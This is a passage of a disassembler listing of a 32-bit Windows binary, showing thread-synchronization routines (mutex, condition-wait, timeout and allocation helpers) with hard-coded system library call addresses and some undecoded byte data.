___:0043022Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430227: ; CODE XREF: ___:00430217j cmp dword ptr [esi], 0 jnz short loc_430221 mov edi, dword_50F8D0 loc_430232: ; CODE XREF: ___:00430239j push 0 call edi cmp dword ptr [esi], 0 jz short loc_430232 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430241: ; CODE XREF: ___:004301F9j ; ___:00430201j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430270 proc near ; CODE XREF: sub_4012E4j mov eax, dword_50E3D8 push esi push edi push eax call sub_401190 sub_430270 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 24909A5h, 0F8701D8Bh dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 7D9E850h dd 5090024Ch, 0E850D3FFh, 249FD34h, 5BC08590h, 0E8560E75h dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 4A0323E8h dd 28468902h, 0E3D8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430340 proc near ; CODE XREF: sub_401A50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43035E test eax, eax jz short loc_430358 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43035E loc_430358: ; CODE XREF: sub_430340+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43035E: ; CODE XREF: sub_430340+Aj ; sub_430340+16j xor eax, eax retn sub_430340 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430380: ; CODE XREF: ___:00401FF0j mov eax, [esp+4] test eax, eax jge short loc_43038E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43038E: ; CODE XREF: ___:00430386j mov dword_50E3E8, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4303B0: ; CODE XREF: ___:0040155Aj mov eax, dword_50E3E8 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4303D0 proc near ; CODE XREF: sub_401B13j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4303F2 push 84h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_430439 loc_4303F2: ; CODE XREF: sub_4303D0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax call near ptr 28C08B7h nop test eax, eax mov [esi+38h], eax jnz short loc_430439 push esi call sub_401BBD add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430439: ; CODE XREF: sub_4303D0+20j ; sub_4303D0+5Aj mov eax, esi pop esi retn sub_4303D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430460 proc near ; CODE XREF: sub_401307j push esi push offset dword_50E8E0 nop call near ptr 7C901005h mov esi, dword_44573C cmp esi, 1 jz short loc_430495 mov eax, [esi+8] push offset dword_50E8E0 mov dword_44573C, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430495: ; CODE XREF: sub_430460+15j push offset dword_50E8E0 xor esi, esi call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_430460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4304D0 proc near ; CODE XREF: sub_401BBDj arg_0 = dword ptr 4 push edi push offset dword_50E8E0 nop call near ptr 7C901005h mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_44573C push offset dword_50E8E0 mov [edx+8], eax mov dword_44573C, edx nop call near ptr 7C9010EDh pop edi retn sub_4304D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_430540 sub_430520 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430540 proc near ; CODE XREF: sub_430520+7p ; sub_430660+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_430540 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_430576 mov eax, [esi+30h] test eax, eax jnz short loc_43057E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43057E mov edi, 2 jmp short loc_43057E ; --------------------------------------------------------------------------- loc_430576: ; CODE XREF: ___:0043055Bj mov dword ptr [esp+0Ch], 0 loc_43057E: ; CODE XREF: ___:00430562j ; ___:0043056Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 28C0717h mov ecx, eax sub ecx, 0 jz short loc_430609 dec ecx jz short loc_4305B4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4305B4: ; CODE XREF: ___:00430599j mov eax, [esp+0Ch] push eax call near ptr 28E057Dh nop test esi, esi jz short loc_4305FE lea edi, [esi+2Ch] push edi call sub_402225 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4305F5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4305F5: ; CODE XREF: ___:004305D9j push edi call sub_4010C3 add esp, 4 loc_4305FE: ; CODE XREF: ___:004305C1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_430609: ; CODE XREF: ___:00430596j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430660 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_430540 sub_430660 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430690 proc near ; CODE XREF: sub_401C03j arg_0 = dword ptr 4 push esi push offset dword_50E940 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4306C4 push esi push ecx call sub_402199 add esp, 8 mov esi, eax push offset dword_50E940 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4306C4: ; CODE XREF: sub_430690+17j test eax, eax jnz short loc_4306CD mov esi, 16h loc_4306CD: ; CODE XREF: sub_430690+36j push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430690 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430700 proc near ; CODE XREF: sub_402199j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_430714 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_430714: ; CODE XREF: sub_430700+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_43072F mov eax, [edi] test eax, eax jz short loc_43072F cmp dword ptr [eax], 1 jnz short loc_43072F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_43072F: ; CODE XREF: sub_430700+1Aj ; sub_430700+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_430754 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_430754: ; CODE XREF: sub_430700+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_430770 mov edi, [edi] test edi, edi jz short loc_430770 mov edi, [edi+4] jmp short loc_430772 ; --------------------------------------------------------------------------- loc_430770: ; CODE XREF: sub_430700+63j ; sub_430700+69j xor edi, edi loc_430772: ; CODE XREF: sub_430700+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C76 add esp, 0Ch test eax, eax jz short loc_4307AD push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_4307AD: ; CODE XREF: sub_430700+8Ej lea ecx, [esi+14h] push ecx call near ptr 28F078Ah nop mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_430700 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430810 proc near ; CODE XREF: sub_40222Fj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_4308F0 mov eax, [edi] test eax, eax jz loc_4308F0 cmp eax, 0FFFFFFFFh jz loc_4308B5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_40177B mov esi, eax add esp, 4 test esi, esi jnz loc_4308EB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_4308A7 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_4308A0 add edx, 10h push edx call sub_401686 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 28F0000h mov ecx, [esp+8+arg_0] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: sub_430810+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A7: ; CODE XREF: sub_430810+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308B5: ; CODE XREF: sub_430810+1Dj push offset dword_50E940 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_4308DB push offset dword_50E940 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308DB: ; CODE XREF: sub_430810+B3j push offset dword_50E940 mov esi, 10h nop call near ptr 7C9010EDh loc_4308EB: ; CODE XREF: sub_430810+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308F0: ; CODE XREF: sub_430810+Aj ; sub_430810+14j pop edi mov eax, 16h pop esi retn sub_430810 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430940 proc near ; CODE XREF: sub_401A0Fj arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 cmp eax, esi jnz short loc_430963 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_430963: ; CODE XREF: sub_430940+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_430940 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430990 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_4309B1 mov eax, [ecx] test eax, eax jz short loc_4309B1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4309B1: ; CODE XREF: sub_430990+9j ; sub_430990+Fj mov eax, 16h pop esi retn sub_430990 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4309D0: ; CODE XREF: ___:00401BA9j mov eax, [esp+4] test eax, eax jz short loc_4309ED mov eax, [eax] test eax, eax jz short loc_4309ED mov ecx, [esp+8] test ecx, ecx jz short loc_4309ED mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_4309ED: ; CODE XREF: ___:004309D6j ; ___:004309DCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430A10: ; CODE XREF: ___:004018F7j mov eax, [esp+4] test eax, eax jz short loc_430A3A mov ecx, [eax] test ecx, ecx jz short loc_430A3A mov eax, [esp+8] cmp eax, 1 jz short loc_430A2E test eax, eax jnz short loc_430A3A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_430A2E: ; CODE XREF: ___:00430A25j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_430A3A: ; CODE XREF: ___:00430A16j ; ___:00430A1Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A50 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430A71 mov ecx, [ecx] test ecx, ecx jz short loc_430A71 mov edx, [esp+arg_4] test edx, edx jl short loc_430A71 cmp edx, 2 jg short loc_430A71 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_430A71: ; CODE XREF: sub_430A50+8j ; sub_430A50+Ej ... mov eax, 16h retn sub_430A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A90 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430AAE mov ecx, [ecx] test ecx, ecx jz short loc_430AAE mov edx, [esp+arg_4] test edx, edx jz short loc_430AAE mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_430AAE: ; CODE XREF: sub_430A90+8j ; sub_430A90+Ej ... mov eax, 16h retn sub_430A90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430AD0 proc near ; CODE XREF: sub_402225j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_430B87 mov eax, [esi] test eax, eax jz loc_430B87 cmp eax, 0FFFFFFFFh jnz short loc_430B01 push esi call sub_401C03 mov edi, eax add esp, 4 test edi, edi jz short loc_430B01 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B01: ; CODE XREF: sub_430AD0+1Dj ; sub_430AD0+2Cj mov esi, [esi] push esi call near ptr 28D056Ah nop test eax, eax jnz short loc_430B2A loc_430B0E: ; CODE XREF: sub_430AD0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430B22 call sub_4012E4 ; --------------------------------------------------------------------------- loc_430B22: ; CODE XREF: sub_430AD0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B2A: ; CODE XREF: sub_430AD0+3Cj mov eax, [esi+8] test eax, eax jz short loc_430B6A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FBD0E890h dd 7E83024Ah, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_430B6A: ; CODE XREF: sub_430AD0+5Fj lea ecx, [esi+10h] push ecx call sub_430BC0 add esp, 4 test eax, eax jz short loc_430B0E nop call near ptr 77C1F2BCh mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B87: ; CODE XREF: sub_430AD0+Aj ; sub_430AD0+14j pop edi mov eax, 16h pop esi retn sub_430AD0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_430BDA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 28E03CEh test eax, eax jnz short loc_430BDA retn ; --------------------------------------------------------------------------- loc_430BDA: ; CODE XREF: sub_430BC0+6j ; sub_430BC0+17j call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_430BC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430C00 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_430D98 mov eax, [esi] test eax, eax jz loc_430D98 cmp eax, 0FFFFFFFFh jnz short loc_430C31 push esi call sub_401C03 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_430C31 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C31: ; CODE XREF: sub_430C00+1Dj ; sub_430C00+2Cj mov esi, [esi] push ebx push edi push esi nop call near ptr 28D056Ah test eax, eax jnz short loc_430C62 loc_430C40: ; CODE XREF: sub_430C00+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C62: ; CODE XREF: sub_430C00+3Ej mov eax, [esi+8] test eax, eax jz short loc_430CA6 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FA98E890h dd 7E83024Ah, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_430CA6: ; CODE XREF: sub_430C00+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_430CBA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CBA: ; CODE XREF: sub_430C00+ACj lea edi, [esi+10h] push eax push edi call sub_430E10 add esp, 8 sub eax, 0 jz loc_430D7A dec eax jz short loc_430D44 dec eax jz short loc_430CE5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CE5: ; CODE XREF: sub_430C00+D4j lea ebx, [esi+14h] push ebx call near ptr 7C901005h nop push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_430D17 call near ptr 28E071Eh nop push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D17: ; CODE XREF: sub_430C00+101j call near ptr 28E071Eh nop test eax, eax jl short loc_430D36 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_430D36 nop call near ptr 77C1F2BCh mov ebp, [eax] loc_430D36: ; CODE XREF: sub_430C00+11Fj ; sub_430C00+12Cj push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D44: ; CODE XREF: sub_430C00+D1j lea ebx, [esi+14h] push ebx call near ptr 7C901005h nop push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_430D6A push esi nop call near ptr 28E071Eh mov ebp, 274Ch loc_430D6A: ; CODE XREF: sub_430C00+15Cj push ebx nop call near ptr 7C9010EDh test edi, edi jnz short loc_430D91 jmp loc_430C40 ; --------------------------------------------------------------------------- loc_430D7A: ; CODE XREF: sub_430C00+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- loc_430D8E: ; CODE XREF: sub_430C00+4Dj ; sub_430C00+187j mov [esi+0Ch], eax loc_430D91: ; CODE XREF: sub_430C00+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D98: ; CODE XREF: sub_430C00+Aj ; sub_430C00+14j pop esi mov eax, 16h pop ebp retn sub_430C00 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430E10 proc near ; CODE XREF: sub_430C00+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_430EAE mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_430E42 or eax, 0FFFFFFFFh loc_430E2C: ; CODE XREF: sub_430E10+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 28E03CEh test eax, eax jnz short loc_430E9C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E42: ; CODE XREF: sub_430E10+17j lea eax, [esp+14h+var_C] push eax call near ptr 77C49113h nop mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_430E2C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E9C: ; CODE XREF: sub_430E10+2Aj cmp eax, 102h jnz short loc_430EAE pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430EAE: ; CODE XREF: sub_430E10+Bj ; sub_430E10+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_430E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430F00 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_430FA0 mov esi, [eax] cmp esi, ebx jz loc_430FA0 cmp esi, 0FFFFFFFFh push edi jz short loc_430F95 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_430F4A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jnz short loc_430F4A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F4A: ; CODE XREF: sub_430F00+2Aj ; sub_430F00+40j cmp [esi+8], edi jnz short loc_430F58 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_430F9A loc_430F58: ; CODE XREF: sub_430F00+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi call near ptr 7C901005h nop push esi call near ptr 28E071Eh nop test eax, eax jl short loc_430F88 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430F88 call near ptr 77C1F2BCh nop mov ebx, [eax] loc_430F88: ; CODE XREF: sub_430F00+6Ej ; sub_430F00+7Ej push edi call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F95: ; CODE XREF: sub_430F00+1Ej mov ebx, 16h loc_430F9A: ; CODE XREF: sub_430F00+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430FA0: ; CODE XREF: sub_430F00+Aj ; sub_430F00+14j pop esi mov eax, 16h pop ebx retn sub_430F00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430FE0 proc near ; CODE XREF: sub_40177Bj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_431065 mov eax, [esi] test eax, eax jz short loc_431065 cmp eax, 0FFFFFFFFh jnz short loc_431002 push esi call sub_401C03 add esp, 4 mov edi, eax loc_431002: ; CODE XREF: sub_430FE0+15j mov esi, [esi] test edi, edi jnz short loc_431060 push 0FFFFFFFFh push edi push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_431033 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43102B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43102B: ; CODE XREF: sub_430FE0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431033: ; CODE XREF: sub_430FE0+35j cmp dword ptr [esi+8], 1 jnz short loc_43105B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_43105B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43105B: ; CODE XREF: sub_430FE0+57j ; sub_430FE0+6Dj mov edi, 10h loc_431060: ; CODE XREF: sub_430FE0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431065: ; CODE XREF: sub_430FE0+Aj ; sub_430FE0+10j pop edi mov eax, 16h pop esi retn sub_430FE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310A0: ; CODE XREF: ___:0040192Ej mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310D0: ; CODE XREF: ___:00401587j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018C0 add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431100: ; CODE XREF: ___:0040148Dj mov eax, [esp+4] test eax, eax jz short loc_43110C mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_43110C: ; CODE XREF: ___:00431106j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431120: ; CODE XREF: ___:00401BFEj mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_431132 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431132: ; CODE XREF: ___:00431128j mov esi, [eax] test esi, esi jnz short loc_431155 mov ecx, [eax+4] test ecx, ecx jnz short loc_431155 call sub_401CEE ; --------------------------------------------------------------------------- dd 0B5E89056h, 0E80257EEh, 0FFFD0B9Eh, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_431155: ; CODE XREF: ___:00431136j ; ___:0043113Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43118E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43118E: ; CODE XREF: ___:00431184j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4311F6 mov edx, [esi+38h] push edx nop call near ptr 28E03CEh test eax, eax jnz short loc_4311E7 lea edi, [esi+2Ch] push edi call sub_402225 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4311D6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call 